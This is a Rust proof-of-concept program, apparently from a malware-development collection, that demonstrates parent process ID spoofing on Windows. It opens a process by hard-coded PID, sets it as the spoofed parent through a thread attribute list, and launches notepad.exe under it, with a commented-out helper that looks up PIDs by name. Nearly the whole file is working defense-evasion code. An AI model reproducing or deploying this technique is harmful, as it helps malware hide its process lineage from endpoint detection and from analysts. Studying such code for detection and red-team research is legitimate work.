/*
    POC of PPID Spoofing.
    Resource Used: 
        * https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing
        * https://trustedsec.com/blog/ppid-spoofing-its-really-this-easy-to-fake-your-parent

    By @5mukx
*/

use std::ptr::null_mut;
use winapi::ctypes::c_void;
use winapi::shared::basetsd::SIZE_T;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::handleapi::CloseHandle;
use winapi::um::heapapi::{GetProcessHeap, HeapAlloc, HeapFree};
use winapi::um::processthreadsapi::{CreateProcessA, InitializeProcThreadAttributeList, OpenProcess, UpdateProcThreadAttribute, PROCESS_INFORMATION, PROC_THREAD_ATTRIBUTE_LIST, STARTUPINFOA};
use winapi::um::winbase::STARTUPINFOEXA;
use winapi::um::winnt::PROCESS_ALL_ACCESS;

fn main()-> Result<(), Box<dyn std::error::Error>>{
    
    unsafe{
        let mut attribute_size: SIZE_T = Default::default();
        let mut pi: PROCESS_INFORMATION = std::mem::zeroed();
        let mut si: STARTUPINFOEXA = std::mem::zeroed();

        // let pid = get_pid();
        let ppid_handle = OpenProcess(
            PROCESS_ALL_ACCESS,
            0,
            // get_pid("calc.exe".as_str()) as u32,
            10140, // pid 
        );

        if ppid_handle.is_null(){
            return Err(format!("Failed to open Process: {}", GetLastError()).into());
        }
        
        InitializeProcThreadAttributeList(null_mut(), 1, 0, &mut attribute_size);
        

        let attribute_list = HeapAlloc(
            GetProcessHeap(),
            0,
            attribute_size,
        );

        if attribute_list.is_null(){
            CloseHandle(ppid_handle);
            return Err("Failed to allocate memory for attribute list".into());
        }

        if InitializeProcThreadAttributeList(
            attribute_list as *mut PROC_THREAD_ATTRIBUTE_LIST,
            1,
            0,
            &mut attribute_size,
        ) == 0 {
            HeapFree(GetProcessHeap(), 0, attribute_list);
            CloseHandle(ppid_handle);
            return Err(format!("Failed to initialize attribute list: {}", GetLastError()).into());
        }

        if UpdateProcThreadAttribute(
            attribute_list as *mut PROC_THREAD_ATTRIBUTE_LIST,
            0,
            0x00|0x00020000,
            &ppid_handle as *const *mut c_void as *mut c_void,
            std::mem::size_of::<*mut c_void>() as usize,
            null_mut(),
            null_mut()
        ) == 0{
            HeapFree(GetProcessHeap(), 0, attribute_list);
            CloseHandle(ppid_handle);
            return Err(format!("Failed to update process attribute: {}", GetLastError()).into());
        }

        si.StartupInfo.cb = std::mem::size_of::<STARTUPINFOA>() as u32;
        si.lpAttributeList = attribute_list as *mut PROC_THREAD_ATTRIBUTE_LIST;
    
        let create_process = CreateProcessA(
            null_mut(),
            "notepad.exe\0".as_ptr() as *mut i8,
            null_mut(),
            null_mut(),
            0,
            0x00080000,
            null_mut(),
            null_mut(),
            &mut si.StartupInfo,
            &mut pi,
        );

        if create_process == 0{
            HeapFree(GetProcessHeap(), 0, attribute_list);
            CloseHandle(ppid_handle);
            return Err(format!("Failed to create process: {}", GetLastError()).into());
        }

        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        HeapFree(GetProcessHeap(), 0, attribute_list);
        CloseHandle(ppid_handle);

    }
    Ok(())
}



// USE  get_pid function to get the pid by its name. 
// Source : https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/Malware_Tips/find_pid_by_name.rs

/* 
fn get_pid(process_name: &str) -> u32{
    unsafe{
        let mut pe: PROCESSENTRY32 = std::mem::zeroed();
        pe.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;

        let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if snap.is_null(){
            error!("Error while snapshoting processes : Error : {}",GetLastError());
            std::process::exit(0);
        }

        let mut pid = 0;

        let mut result = Process32First(snap, &mut pe) != 0;

        while result{

            let exe_file = CString::from_vec_unchecked(pe.szExeFile
                .iter()
                .map(|&file| file as u8)
                .take_while(|&c| c!=0)
                .collect::<Vec<u8>>(),
            );

            if exe_file.to_str().unwrap() == process_name {
                pid = pe.th32ProcessID;
                break;
            }
            result = Process32Next(snap, &mut pe) !=0;
        }

        if pid == 0{
            error!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");           
            std::process::exit(0);
        }
    
        CloseHandle(snap);
        pid
    }
}

*/